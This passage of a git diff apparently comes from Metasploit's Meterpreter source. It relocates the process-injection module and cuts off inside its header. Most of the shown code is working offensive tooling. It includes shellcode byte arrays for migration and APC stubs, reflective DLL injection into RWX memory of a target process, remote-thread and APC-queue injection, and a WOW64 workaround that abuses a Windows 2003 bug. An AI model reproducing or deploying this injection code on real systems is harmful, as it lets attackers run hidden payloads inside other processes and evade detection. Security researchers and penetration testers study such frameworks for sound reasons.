inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER ); - - // check if the library has a ReflectiveLoader... - dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer ); - if( !dwReflectiveLoaderOffset ) - BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION ); - - hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid ); - if( !hProcess ) - BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." ); - - if( cpCommandLine ) - { - // alloc some space and write the commandline which we will pass to the injected dll... - lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); - if( !lpRemoteCommandLine ) - BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" ); - - if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" ); - } - - // alloc memory (RWX) in the host process for the image... - lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteLibraryBuffer ) - BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" ); - - // write the image into the host process... - if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); - - // add the offset to ReflectiveLoader() to the remote library address... - lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset ); - - // First we try to inject by directly creating a remote thread in the target process - if( inject_via_remotethread( NULL, NULL, hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) - { - dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." ); - - // If that fails we can try to migrate via a queued APC in the target process - if( inject_via_apcthread( NULL, NULL, hProcess, dwPid, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) - BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" ) - } - - dwResult = ERROR_SUCCESS; - - } while( 0 ); - - if( hProcess ) - CloseHandle( hProcess ); - - return dwResult; -} +#include "metsrv.h" +#include "base_inject.h" +#include "remote_thread.h" +#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" +#include + +// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm' +// 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484 +// found and fixed by ReWolf, incorporated by RaMMicHaeL +BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" + "\x58\x83\xC0\x2B\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" + "\x89\x02\xE8\x0F\x00\x00\x00\x66\x8C\xD8\x66\x8E\xD0\x83\xC4\x14" + "\x5F\x5E\x5D\xC2\x08\x00\x8B\x3C\xE4\xFF\x2A\x48\x31\xC0\x57\xFF" + "\xD6\x5F\x50\xC7\x44\x24\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C" + "\x24"; + +// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm' +BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" + "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" + "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" + "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" + "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" + "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" + "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" + "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" + "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" + "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" + "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" + "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" + "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" + "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" + "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" + "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" + "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" + "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" + "\x48\x83\xC4\x50\x48\x89\xFC\xC3"; + +// see '/msf3/external/source/shellcode/x86/migrate/apc.asm' +BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5" + "\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F" + "\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF" + "\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B" + "\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01" + "\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF" + "\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58" + "\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04" + "\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58" + "\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10" + "\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B" + "\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00" + "\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51" + "\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00"; + +// see '/msf3/external/source/shellcode/x64/migrate/apc.asm' +BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48" + "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48" + "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48" + "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C" + "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41" + "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B" + "\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01" + "\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF" + "\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41" + "\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45" + "\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C" + "\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41" + "\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20" + "\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF" + "\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00" + "\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00" + "\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41" + "\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00"; + +/* + * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread + * Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe + */ +DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) +{ + DWORD dwResult = ERROR_ACCESS_DENIED; + HMODULE hNtdll = NULL; + NTQUEUEAPCTHREAD pNtQueueApcThread = NULL; + HANDLE hThreadSnap = NULL; + LPVOID lpApcStub = NULL; + LPVOID lpRemoteApcStub = NULL; + LPVOID lpRemoteApcContext = NULL; + LIST * thread_list = NULL; + THREADENTRY32 t = {0}; + APCCONTEXT ctx = {0}; + DWORD dwApcStubLength = 0; + + do + { + thread_list = list_create(); + if( !thread_list ) + break; + + ctx.s.lpStartAddress = lpStartAddress; + ctx.p.lpParameter = lpParameter; + ctx.bExecuted = FALSE; + + t.dwSize = sizeof( THREADENTRY32 ); + + // Get the architecture specific apc migration stub... + if( dwDestinationArch == PROCESS_ARCH_X86 ) + { + if( dwMeterpreterArch == PROCESS_ARCH_X64 ) + { + // injecting x64->x86(wow64) + + // Our injected APC ends up running in native x64 mode within the wow64 process and as such + // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub. + + // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though. + + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." ) + } + else + { + // injecting x86->x86 + lpApcStub = &apc_stub_x86; + dwApcStubLength = sizeof( apc_stub_x86 ); + } + } + else if( dwDestinationArch == PROCESS_ARCH_X64 ) + { + // injecting x64->x64 (and the same stub for x86(wow64)->x64) + lpApcStub = &apc_stub_x64; + dwApcStubLength = sizeof( apc_stub_x64 ); + + if( dwMeterpreterArch == PROCESS_ARCH_X86 ) + { + // injecting x86(wow64)->x64 + + // For now we leverage a bug in wow64 to get x86->x64 injection working, this + // will simply fail gracefully on systems where the technique does not work. + + MEMORY_BASIC_INFORMATION mbi = {0}; + LPVOID lpRemoteAddress = NULL; + BYTE * lpNopSled = NULL; + BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; + + /* + // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes. + // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, + // however the start address of the new APC in the native x64 process is not what we specify but instead it is + // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc + // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there + // injection will continue as normal. + + // The registers on the native x64 process after the queued APC is attempted to run: + rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process + rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param) + rdx = dwApcStatusBlock // unused + r8 = dwApcReserved // unused + + // On the WOW64 process side: + wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine + wow64:000000006B0095F0 + wow64:000000006B0095F0 public Wow64ApcRoutine + + // On the native x64 process side: + ntdll:0000000077EF30A0 public KiUserApcDispatcher + ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value + ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock + ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved + ntdll:0000000077EF30AE mov r9, rsp + ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine! + + // Our bStub: + 00000000 4889C8 mov rax, rcx + 00000003 48C1E120 shl rcx, 32 + 00000007 48C1E920 shr rcx, 32 + 0000000B 48C1E820 shr rax, 32 + 0000000F FFE0 jmp rax + */ + + // alloc the address of the wow64!Wow64ApcRoutine export in the remote process... + // TO-DO: parse the PE64 executable wow64.dll to get this at runtime. + lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteAddress ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" ); + + if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" ); + + lpNopSled = (BYTE *)malloc( mbi.RegionSize ); + if( !lpNopSled ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" ); + + memset( lpNopSled, 0x90, mbi.RegionSize ); + + if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" ) + + if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" ) + + free( lpNopSled ); + } + } + else + { + SetLastError( ERROR_BAD_ENVIRONMENT ); + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" ) + } + + hNtdll = LoadLibraryA( "ntdll" ); + if( !hNtdll ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" ) + + pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" ); + if( !pNtQueueApcThread ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" ) + + hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); + if( !hThreadSnap ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" ) + + if( !Thread32First( hThreadSnap, &t ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" ) + + // Allocate memory for the apc stub and context + lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteApcStub ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" ) + + // Simply determine the apc context address + lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength ); + + dprintf( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext ); + + // Write the apc stub to memory... + if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" ) + + // Write the apc context to memory... + if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" ) + + do + { + HANDLE hThread = NULL; + + // Only proceed if we are targeting a thread in the target process + if( t.th32OwnerProcessID != dwProcessID ) + continue; + + // Open a handle to this thread so we can do the apc injection + hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID ); + if( !hThread ) + continue; + + dprintf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID ); + + // Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt + // a connection back but the client side will not be ready to accept it and we loose the session. + if( SuspendThread( hThread ) != (DWORD)-1 ) + { + list_push( thread_list, hThread ); + + // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target + // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload. + // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS. + if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) + { + dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID ); + dwResult = ERROR_SUCCESS; + } + else + { + dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID ); + } + } + else + { + CloseHandle( hThread ); + } + + // keep searching for more target threads to inject our apc stub into... + + } while( Thread32Next( hThreadSnap, &t ) ); + + } while( 0 ); + + if( dwResult == ERROR_SUCCESS && remote && response ) + { + // We should only run this block if we are being used for migration... + + // Send a successful response to let the ruby side know that we've pretty + // much successfully migrated and have reached the point of no return + packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE ); + packet_transmit_response( ERROR_SUCCESS, remote, response ); + + // Sleep to give the remote side a chance to catch up... + Sleep( 2000 ); + } + + if( thread_list ) + { + // Resume all the threads which we queued our apc into as the remote + // client side will now be ready to handle the new conenction. + while( TRUE ) + { + HANDLE t = (HANDLE)list_pop( thread_list ); + if( !t ) + break; + ResumeThread( t ); + CloseHandle( t ); + } + + list_destroy( thread_list ); + } + + if( hThreadSnap ) + CloseHandle( hThreadSnap ); + + if( hNtdll ) + FreeLibrary( hNtdll ); + + SetLastError( dwResult ); + + return dwResult; +} + +/* + * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86) + * enviroment into a native x64 enviroment and accessing the native win64 API's. + * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new + * threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out + * Windows 2003 from this method of injection, however the APC injection method will work on 2003. + */ +DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread ) +{ + DWORD dwResult = ERROR_SUCCESS; + EXECUTEX64 pExecuteX64 = NULL; + X64FUNCTION pX64function = NULL; + WOW64CONTEXT * ctx = NULL; + OSVERSIONINFO os = {0}; + + do + { + os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); + + if( !GetVersionEx( &os ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" ) + + // filter out Windows 2003 + if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 ) + { + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." ) + } + + // alloc a RWX buffer in this process for the EXECUTEX64 function + pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !pExecuteX64 ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) + + // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) + pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !pX64function ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ) + + // copy over the wow64->x64 stub + memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) ); + + // copy over the native x64 function + memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) ); + + // set the context + ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) ); + + ctx->h.hProcess = hProcess; + ctx->s.lpStartAddress = lpStartAddress; + ctx->p.lpParameter = lpParameter; + ctx->t.hThread = NULL; + + dprintf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx ); + + // Transition this wow64 process into native x64 and call pX64function( ctx ) + // The native function will use the native Win64 API's to create a remote thread in the target process. + if( !pExecuteX64( pX64function, (DWORD)ctx ) ) + { + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ) + } + + if( !ctx->t.hThread ) + { + SetLastError( ERROR_INVALID_HANDLE ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" ) + } + + // Success! grab the new thread handle from of the context + *pThread = ctx->t.hThread; + + dprintf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread ); + + } while( 0 ); + + if( pExecuteX64 ) + VirtualFree( pExecuteX64, 0, MEM_DECOMMIT ); + + if( pX64function ) + VirtualFree( pX64function, 0, MEM_DECOMMIT ); + + return dwResult; +} + +/* + * Attempte to gain code execution in the remote process by creating a remote thread in the target process. + */ +DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) +{ + DWORD dwResult = ERROR_SUCCESS; + DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD; + HANDLE hThread = NULL; + + do + { + // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread + // fails, giving us a chance to try an alternative method or fail migration gracefully. + hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL); + if (!hThread) + { + if (dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64) + { + dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64; + + if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS) + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed") + } + } + else + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed") + } + } + else + { + dprintf("[INJECT] inject_via_remotethread: succeeded"); + } + + if (remote && response) + { + dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..."); + // Send a successful response to let the ruby side know that we've pretty + // much successfully migrated and have reached the point of no return + packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique); + packet_transmit_response(ERROR_SUCCESS, remote, response); + + dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..."); + // Sleep to give the remote side a chance to catch up... + Sleep(2000); + } + + dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..."); + // Resume the injected thread... + if (ResumeThread(hThread) == (DWORD)-1) + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed") + } + + } while (0); + + if (hThread) + { + CloseHandle(hThread); + } + + SetLastError(dwResult); + + return dwResult; +} + +/* + * Inject a DLL image into a process via Reflective DLL Injection. + * + * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for + * an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll() + * in stdapi will handle this automatically. + * + * Note: GetReflectiveLoaderOffset() has a limitation of currenlty not being able to work for PE32 DLL's + * in a native x64 meterpereter due to compile time assumptions, however GetReflectiveLoaderOffset() + * will check for this and fail gracefully. + * + * Note: This function largely depreciates LoadRemoteLibraryR(). + */ +DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine ) +{ + DWORD dwResult = ERROR_ACCESS_DENIED; + DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; + LPVOID lpRemoteCommandLine = NULL; + HANDLE hProcess = NULL; + LPVOID lpRemoteLibraryBuffer = NULL; + LPVOID lpReflectiveLoader = NULL; + DWORD dwReflectiveLoaderOffset = 0; + + do + { + if( !lpDllBuffer || !dwDllLenght ) + BREAK_WITH_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER ); + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer ); + if( !dwReflectiveLoaderOffset ) + BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION ); + + hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid ); + if( !hProcess ) + BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." ); + + if( cpCommandLine ) + { + // alloc some space and write the commandline which we will pass to the injected dll... + lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); + if( !lpRemoteCommandLine ) + BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" ); + + if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" ); + } + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" ); + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset ); + + // First we try to inject by directly creating a remote thread in the target process + if( inject_via_remotethread( NULL, NULL, hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) + { + dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." ); + + // If that fails we can try to migrate via a queued APC in the target process + if( inject_via_apcthread( NULL, NULL, hProcess, dwPid, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) + BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" ) + } + + dwResult = ERROR_SUCCESS; + + } while( 0 ); + + if( hProcess ) + CloseHandle( hProcess ); + + return dwResult; +} diff --git a/c/meterpreter/source/common/arch/win/i386/base_inject.h b/c/meterpreter/source/metsrv/base_inject.h similarity index 83% rename from c/meterpreter/source/common/arch/win/i386/base_inject.h rename to c/meterpreter/source/metsrv/base_inject.h index e73b3270..017e6970 100644 --- a/c/meterpreter/source/common/arch/win/i386/base_inject.h +++ b/c/meterpreter/source/metsrv/base_inject.h @@ -1,88 +1,80 @@ -//===============================================================================================// -#ifndef _METERPRETER_BASE_INJECT_H -#define _METERPRETER_BASE_INJECT_H -//===============================================================================================// - -// These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here. -#define PROCESS_ARCH_UNKNOWN 0 -#define PROCESS_ARCH_X86 1 -#define PROCESS_ARCH_X64 2 -#define PROCESS_ARCH_IA64 3 - -// The three injection techniques currently supported. -#define MIGRATE_TECHNIQUE_REMOTETHREAD 0 -#define 